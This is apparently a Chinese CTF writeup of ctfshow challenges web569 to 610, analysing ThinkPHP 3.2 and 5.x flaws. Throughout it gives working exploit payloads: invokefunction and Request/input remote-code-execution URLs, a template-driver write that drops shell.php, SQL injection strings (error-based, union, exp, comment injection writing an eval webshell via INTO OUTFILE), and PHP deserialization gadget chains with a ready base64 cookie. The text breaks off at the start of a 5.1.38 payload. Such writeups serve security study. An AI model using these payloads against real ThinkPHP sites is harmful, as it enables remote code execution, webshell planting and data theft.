ThinkPHP5.x RCE

漏洞描述

本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.155.1.0<=ThinkPHP<=5.1.5

环境搭建

使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/thinkphp/5-rce   //进入5-rce目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

漏洞分析

2

跟进controller的走向

3

4

当控制器名中包含了反斜杠,就会直接返回

经过parseName之后index变成了首字母大写

回到thinkphp/library/think/App.phpmodule方法,正常情况下应该获取到对应控制器类的实例化对象,而我们现在得到了一个\think\App的实例化对象,进而通过url调用其任意的public方法,同时解析url中的额外参数,当作方法的参数传入。

payload:

1
2
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

think\request

在 request 类里,其实也有一个很好的rce利用点,

5

7

6

payload

1
?s=index/\think\request/input?data[]=-1&filter=phpinfo

think\template\driver\file

8

payload

1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

然后当前目录访问shell.php 就ok了。

ctfshow-web569

首先,thinkphp3的URL模式,ThinkPHP支持的 URL模式有四种:普通模式、PATHINFO、REWRITE和兼容模式。

入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模 块、控制器和操作:

http://serverName/index.php/模块/控制器/操作

–普通模式:

普通模式也就是传统的GET传参方式来指定当前访问的模块和操作,例如:

http://localhost/?m=home&c=user&a=login&var=value

m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参 数。

–PATHINFO模式:

PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够 支持大多数的主机环境。对应上面的URL模式,PATHINFO模式下面的URL访问地址是:

http://localhost/index.php/home/user/login/var/value/

PATHINFO地址的前三个参数分别表示模块/控制器/操作。

–REWRITE模式:

REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件 index.php,但是需要额外配置WEB服务器的重写规则。

http://localhost/home/user/login/var/value

–兼容模式:

兼容模式是用于不支持PATHINFO的特殊环境,URL地址是:

http://localhost/?s=/home/user/login/var/value

其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,可以更改兼容模式变量的名称定义

10

要求使用pathinfo模式进行访问,那么payload就简单了

1
http://0e40cc8f-4401-4c88-9e29-ba3de9948030.challenge.ctf.show/index.php/Admin/Login/ctfshowLogin

ctfshow-web570

11

利用路由功能,可以让你的URL地址更加简洁和优雅。ThinkPHP支持对模块的URL地址进行路由操作(路由功能 是针对PATHINFO模式或者兼容URL而设计的,暂时不支持普通URL模式)

ThinkPHP的路由功能包括:

  • 正则路由
  • 规则路由
  • 静态路由(URL映射)
  • 闭包支持

题目提供了一个application,在里面找找后面,直接搜索URL_ROUTE_RULES

在Application/Commom/Conf/config.php中,发现闭包路由后门

12

当我们访问/index.php/ctfshow/a/b时,会执行call_user_func(a,b)函数

call_user_func函数类似于一种特别的调用函数的方法

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function increment(&$var)
{
$var++;
}
$a = 0;
call_user_func('increment', $a);
echo $a;

?>

#0

用get传参是会出现;/传不进去的情况

1
2
3
http://e7274b3a-1acf-4642-8a90-b44a12b727ca.challenge.ctf.show//index.php/ctfshow/assert/eval($_POST[1])
#post
1=system('cat /fla*');

13

ctfshow-web571

$this->show 造成命令执行

Home\Controller\IndexController 下的index中传入了一个可控参数,跟进调试看一下。

1
2
3
4
5
6
7
class IndexController extends Controller
{
public function index($n='')
{
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script></p>Hello '.$n, 'utf-8');
}
}

跟进 display()

1
2
3
protected function show($content,$charset='',$contentType='',$prefix='') {
$this->view->display('',$charset,$contentType,$content,$prefix);
}

一路跟进到 fetch(),然后一路进入 Hook::listen('view_parse', $params);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function fetch($templateFile='', $content='', $prefix='')
{
if (empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if (!is_file($templateFile)) {
E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}
} else {
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
} else {
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse', $params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter', $content);
// 输出模板文件
return $content;
}

关键地方在这,我们之前 index 里的内容被存入了缓存文件php文件中,连带着我们输入的可控的php代码也在其中,然后包含了该文件,所以造成了命令执行。

1
2
3
4
5
6
public function load($_filename,$vars=null){
if(!is_null($vars)){
extract($vars, EXTR_OVERWRITE);
}
include $_filename;
}

传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。

所以我们直接传php代码就可以了。
payload:

1
?n=<?php system('cat /f*');?>

ctfshow-web572——未授权访问日志

14

此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作

如果debug之前没有关,或是目录限制没做好,可能造成信息泄露.
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,所以如果你之前在线上开启过debug目录
限制又没做好,那么就可以尝试利用

15

16

1
index.php?showctf=<?php system("cat /f*");?>

ctfshow-web573—tp3.2.3sql注入

源代码

1
2
3
4
5
6
7
8
class IndexController extends Controller {
public function index(){
$a=M('xxx'); //表名
$id=I('GET.id');
$b=$a->find($id);
var_dump($b);
}
}

跟进find函数,在find函数中_parseOptions$options进行了处理,继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
protected function _parseOptions($options=array())
{
if (is_array($options)) {
$options = array_merge($this->options, $options);
}

if (!isset($options['table'])) {
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}

// 数据表别名
if (!empty($options['alias'])) {
$options['table'] .= ' '.$options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;

// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}

可以看到如果我们的数据库中的id是int型会进入intval函数,会直接去掉其他字符达到过滤的效果,如果id的类型是char则会接着往下走。

_parseType$options进行了处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}

执行完_parseType后回到find中的select

1
2
3
4
5
6
7
8
9
10
11
12
//分析表达式
$options =$this->_parse0ptions($options);
//判断查询缓存
if(isset($options[ ' cache'])4
$cache = $options[ " cache'];
$key = is_string($cache[ 'key'])?$cache[ " key']:md5(serialize($options)
$data = S($key, '",$cache);
if(false !=- $data){
$this->data= $data;
return $data;
}
$resultset = $this->db->select($options);
1
2
3
4
5
6
7
public function select($options=array()){
$this->model = $options[ ' model "];
$this->parseBind( !empty($options[ 'bind "])?$options[ 'bind ' ]: array());
$sql = $this->buildselectsq1($options);
$result = $this->query($sql,!empty($options[ 'fetch_sql']) ? true : false);
return $result;
}

跟进buildSelectSql中的parseSql

1
2
3
4
5
6
7
8
9
10
11
12
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
list($page,$listRows) = $options['page'];
$page = $page>0 ? $page : 1;
$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*($page-1);
$options['limit'] = $offset.','.$listRows;
}
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}

知道我们的id的值在$options[‘where’]中,跟进parseWhere

最终是进到了parseValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function parseValue($value) {
if(is_string($value)) {
$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';
}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
$value = $this->escapeString($value[1]);
}elseif(is_array($value)) {
$value = array_map(array($this, 'parseValue'),$value);
}elseif(is_bool($value)){
$value = $value ? '1' : '0';
}elseif(is_null($value)){
$value = 'null';
}
return $value;
}
1
2
3
public function escapestring($str) {
return addslashes($str);
}

也就是通过addslashes()函数进行转义

1
2
3
4
5
6
addslashes() 函数会在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL

假设我们传入的内容是数组呢?id[where]=1'
当我们传入的是数组时,不会进入下面的if中,所以$options['where']="1'",否则的话就是
$options['where']['id']="1'"

走到_parseOptions,如果我们的$options['where']是数组的话会进入_parseType,我们前面说到,现在的$options['where']="1'"是个字符串,也就不会进入这个if,所以当目标数据库中的id字段是int型时可以绕过intval过滤。

1
2
3
4
5
6
7
//爆表
index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) %23
//爆列名
index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags'),0x7e),1) %23
//爆字段值
index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,substr((select group_concat(flag4s) from flags),16,32),0x7e),1) %23

ctfshow-web574

题目给了首页的源码

1
2
3
4
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

传入?id=1'最终在where函数中只执行了下面第二个if部分。转换为数组。也就是
$this->options['where']=array("_string"=>"1'")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
if(is_string($where) && '' != $where){
$map = array();
$map['_string'] = $where;
$where = $map;
}
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}

return $this;
}

此时传入的$where就是我们$this->options['where']的值也就是array("_string"=>"1'")。所以我们会进入下面的if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
$operate = isset($where['_logic'])?strtoupper($where['_logic']):'';
if(in_array($operate,array('AND','OR','XOR'))){
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate = ' '.$operate.' ';
unset($where['_logic']);
}else{
// 默认进行 AND 运算
$operate = ' AND ';
}
foreach ($where as $key=>$val){
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);

$key'_string' $valid=1',,所以最终返回的内容是( id=1 ),所以执行的sql语句是select \* from xxx where (id=1') limit 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected function parseThinkWhere($key,$val) {
$whereStr = '';
switch($key) {
case '_string':
// 字符串模式查询条件
$whereStr = $val;
break;
case '_complex':
// 复合查询条件
$whereStr = substr($this->parseWhere($val),6);
break;
case '_query':
// 字符串模式查询条件
parse_str($val,$where);
if(isset($where['_logic'])) {
$op = ' '.strtoupper($where['_logic']).' ';
unset($where['_logic']);
}else{
$op = ' AND ';
}
$array = array();
foreach ($where as $field=>$data)
$array[] = $this->parseKey($field).' = '.$this->parseValue($data);
$whereStr = implode($op,$array);
break;
}
return '( '.$whereStr.' )';
}

在外面多了一层括号,可以尝试闭合:

1
2
?id=-1) union select 1,user(),3,4%23
?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23

ctfshow-web575

thinkPHP3.2.3反序列化漏洞

给了源码

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
    $user = M('Users');
    $user->find(intval($id));
    cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

首先引起注意的是show()函数,前面提到这个函数可以执行php代码。所以我们只要能控制$user->username就可以了。
处于rce的目的的话不进if我们会方便很多。
我们可以直接构造一个类,给他的来个id变量和username变量

payload:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace Home\Controller{
class IndexController {
public $id='1';
public $username='<?php system("cat /f*");?>';
}
}
namespace{
use Home\Controller\IndexController;
echo base64_encode(serialize(new IndexController()));
}
?>
1
2
3
get  ?id=1

修改cookie user=TzozMToiSG9tZVxDb250cm9sbGVyXEluZGV4Q29udHJvbGxlciI6Mjp7czoyOiJpZCI7czoxOiIxIjtzOjg6InVzZXJuYW1lIjtzOjI2OiI8P3BocCBzeXN0ZW0oImNhdCAvZioiKTs/PiI7fQ==

17

payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();

}
}
}


namespace Think\Session\Driver{
use Think\Model;

class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();

}
}

}

namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;

public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'

);


}
}
}


//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {

protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);


}

}


namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick() ));
}


?>

原理:

全局搜索 function __destruct,找一个起点。

在文件:/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php 中找到了 Imagick 类的 __destruct 方法。

1
2
3
public function __destruct() {
empty($this->img) || $this->img->destroy();
}

这里 $this->img 是可控的,所以我们接着找一下 destroy() 函数。共有三个,选择了 ThinkPHP/Library/Think/Session/Driver/Memcache.class.php 中的 Memcache 类的 destroy 函数。这里有个坑,由于上面调用 destroy() 函数时没有参数传入,而我们找到的是有参数的,PHP7下起的ThinkPHP在调用有参函数却没有传入参数的情况下会报错,所以我们要选用PHP5而不选用PHP7.

1
2
3
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}

这里handle 可控,那么就接着找 delete 函数。在 ThinkPHP/Mode/Lite/Model.class.phpModel 类中找到了合适的函数,当然选用 /ThinkPHP/Library/Think/Model.class.php 中的该函数也是可以的。我们的目的就是进入 $this->delete($this->data[$pk])。所以这里只截取了前面部分的代码。

1
2
3
4
5
6
7
8
9
10
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
}

我们想要调用这个if中的 delete ,就要使得我们传入的 $options 为空,且 $this->options['where'] 为空,是可控的,所以走到第二个if,$this->data 不为空,且 $this->data[$pk] 存在,满足条件就可以调用 delete($this->data[$pk]) 了。而 $pk 就是 $this->pk ,都是可控的。

之前因为 destroy() 调用时没有参数,使得调用 delete 函数参数部分可控,而现在我们正常带着参数进入了 delete 函数,就可以接着往下走了。直到运行至 $result = $this->db->delete($options);,调用了ThinkPHP数据库模型类中的 delete() 方法。

这里的 $table 是取自传入的参数,可控,直接拼接到 $sql 中,然后传入了 $this->execute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}

ctfshow-web576(ThinkPHP v3.2注释注入)

当我们传入id=1时最终的sql语句为select * from users where id=1 limit 1 /* 1*/
构造

payload:

1
?id=1*/ into outfile "/var/www/html/1.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

原理:

注释注入

触发注释注入的调用为:$user = M('user')->comment($id)->find(intval($id));

调试跟进一下,调用的是 Think\Model.class.php 中的 comment

1
2
3
4
5
6
7
8
9
10
11
/**
* 查询注释
* @access public
* @param string $comment 注释
* @return Model
*/
public function comment($comment)
{
$this->options['comment'] = $comment;
return $this;
}

之后调用 Think\Model 的find方法。一直到调用了 Think\Db\Driver.class.php 中的 parseComment 函数,将我们输入的内容拼接在了注释中,于是我们可以将注释符闭合,然后插入SQL语句。此时的SQL语句为 "SELECT * FROMuserWHEREid= 1 LIMIT 1 /* 1 */"

1
2
3
protected function parseComment($comment) {
return !empty($comment)? ' /* '.$comment.' */':'';
}

如果这里没有 LIMIT 1 的话我们可以直接进行union注入,但是这里有 LIMIT 1 ,进行union注入会提示 Incorrect usage of UNION and LIMIT,只有同时把union前的SQL查询语句用括号包起来才可以进行查询,但是显然我们无法做到,那么我们可以利用 into outfile 的拓展来进行写文件。

1
2
3
4
5
6
7
"OPTION"参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST[1]);?>'/* 就可以进行写马了。

18

web577(exp注入)

flag在数据库中

$map=array( 'id'=>$_GET['id'] );

$user = M('Users')->where($map)->find();

payload:

1
?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

原理

触发exp注入的查询语句如下。

1
2
3
4
5
6
7
8
9
public function sql()
{
$User = D('user');
var_dump($_GET['id']);
$map = array('id' => $_GET['id']);
// $map = array('id' => I('id'));
$user = $User->where($map)->find();
var_dump($user);
}

这里一路跟进到 parseSql() 函数,然后调用到 parseWhere()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}

parseWhere() 调用了 parseWhereItem() ,截取了部分关键代码,这里的 $val 就是我们传入的参数,所以当我们传入数组时,$exp 就是数组的第一个值,如果等于exp,就会使用.直接将数组的第二个值拼接上去,就会造成SQL注入。

1
2
3
4
5
6
7
$exp = strtolower($val[0]);
......
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}

也就是说当我们传入 ?id[0]=exp&id[1]== 1 and updatexml(1,concat(0x7e,user(),0x7e),1) 时,拼接后的字符串就是 "id = 1 and updatexml(1,concat(0x7e,user(),0x7e),1)",最后的SQL语句也就成了 "SELECT * FROM userWHEREid =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1 ",可以进行报错注入了。

这里使用了全局数组 $_GET 来传参,而不是tp自带的 I() 函数,是因为在 I() 函数的最后有这么一句代码,

1
is_array($data) && array_walk_recursive($data,'think_filter');

调用了 think_filter() 函数来进行过滤,刚好就过滤了 EXP ,在后面加上了一个空格,那么自然也就无法进行上面的流程,不能进行注入了。

1
2
3
4
5
6
7
8
function think_filter(&$value){
// TODO 其他安全过滤

// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}

web578(模板变量覆盖)

1
2
3
4
5
变量覆盖导致rce
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}

payload:

1
?name[_content]=<?php system('cat /f*');?>

原理

触发rce的代码如下。

1
2
3
4
5
public function test($name='', $from='ctfshow')
{
$this->assign($name, $from);
$this->display('index');
}

先调用 assign() 函数。

1
2
3
4
5
6
7
8
public function assign($name, $value='')
{
if (is_array($name)) {
$this->tVar = array_merge($this->tVar, $name);
} else {
$this->tVar[$name] = $value;
}
}

当我们传入 ?name=_content&from=<?php system("whoami")?> 时经过 assign() 函数后就有:$this->view->tVar["_content"]="<?php system("whoami")?>"

display() 函数跟进,$content 获取模板内容。

1
2
3
4
5
6
7
8
9
10
11
12
public function display($templateFile='', $charset='', $contentType='', $content='', $prefix='')
{
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin', $templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile, $content, $prefix);
// 输出模板内容
$this->render($content, $charset, $contentType);
// 视图结束标签
Hook::listen('view_end');
}

这里调用了 fetch() 函数,有一个if判断,如果使用了PHP原生模板就进入这个判断,这个就对应的是 ThinkPHP\Conf\convention.php 中的 'TMPL_ENGINE_TYPE' => 'php',

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function fetch($templateFile='', $content='', $prefix='')
{
if (empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if (!is_file($templateFile)) {
E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}
} else {
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
} else {
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse', $params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter', $content);
// 输出模板文件
return $content;
}

这里进入判断后,执行了 extract($this->tVar, EXTR_OVERWRITE); ,而通过前面的分析得知我们已有 $this->view->tVar["_content"]="<?php system("whoami")?>" ,因此这里就存在变量覆盖,将 $_content 覆盖为了我们输入的要执行的命令。

随后执行 empty($_content)?include $templateFile:eval('?>'.$_content); ,此时的 $_content 显然不为空,所以会执行 eval('?>'.$_content); ,也就造成了命令执行。

ctfshow-Web579未开启强制路由RCE

thinkphp5RCE

payload:

1
2
3
4
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /../
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /../f*

ctfshow-Web604

换一种姿势

1
2
3
4
5
?s=index/\think\Request/input&filter=system&data=whoami

?s=index/\think\Request/input&filter=system&data=ls /../

?s=index/\think\Request/input&filter=system&data=cat /../f*

ctfshow-Web605

上个路也走不通了

通过写文件,访问shell.php

1
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20system('cat /f*');?%3E

ctfshow-Web606-610

使用read,伪协议

1
2
?s=index/\think\template\driver\file/read&cacheFile=data://text/plain,<?php echo`tac /f*`;?>&content=%3C?php%20system('tac /f*');?%3E

thinkphp 5.1.38反序列化RCE

[ThinkPHP v5.1.x 反序列化 分析](http://www.yongsheng.site/2022/01/04/ThinkPHP v5.1.x 反序列化 分析/)

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

namespace think;
